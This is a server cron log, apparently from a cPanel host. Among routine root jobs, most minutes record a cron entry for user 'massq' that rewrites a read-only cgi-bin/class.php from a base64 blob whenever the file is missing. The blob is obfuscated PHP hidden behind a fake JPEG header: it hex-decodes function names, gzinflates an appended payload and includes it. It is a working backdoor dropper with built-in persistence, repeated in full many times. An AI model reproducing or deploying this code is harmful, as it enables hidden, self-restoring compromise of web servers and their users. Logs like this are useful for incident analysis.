Sep  2 18:30:01 server CROND[11690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:31:01 server CROND[12561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:31:01 server CROND[12560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:31:01 server CROND[12562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:32:01 server CROND[12954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:32:01 server CROND[12955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:32:01 server CROND[12957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:33:01 server CROND[13430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:33:01 server CROND[13431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:33:01 server CROND[13432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:34:01 server CROND[13854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:34:01 server CROND[13855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:34:01 server CROND[13856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:35:01 server CROND[14260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:35:01 server CROND[14262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:35:01 server CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:35:01 server CROND[14266]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 18:35:01 server CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:35:01 server CROND[14268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:35:01 server CROND[14271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:35:01 server CROND[14267]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:35:01 server CROND[14270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:36:01 server CROND[15184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:36:01 server CROND[15185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:36:01 server CROND[15186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:37:01 server CROND[15616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:37:01 server CROND[15615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:37:01 server CROND[15617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:38:01 server CROND[16086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:38:01 server CROND[16087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:38:01 server CROND[16088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:39:01 server CROND[16458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:39:01 server CROND[16459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:39:01 server CROND[16460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:39:01 server CROND[16461]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 18:40:01 server CROND[16838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:40:01 server CROND[16839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:40:01 server CROND[16841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:40:01 server CROND[16842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:40:01 server CROND[16846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:40:01 server CROND[16843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:40:01 server CROND[16845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:40:01 server CROND[16844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:41:01 server CROND[17659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:41:01 server CROND[17658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:41:01 server CROND[17660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:42:01 server CROND[18041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:42:01 server CROND[18044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:42:01 server CROND[18043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:42:01 server CROND[18042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:43:01 server CROND[18513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
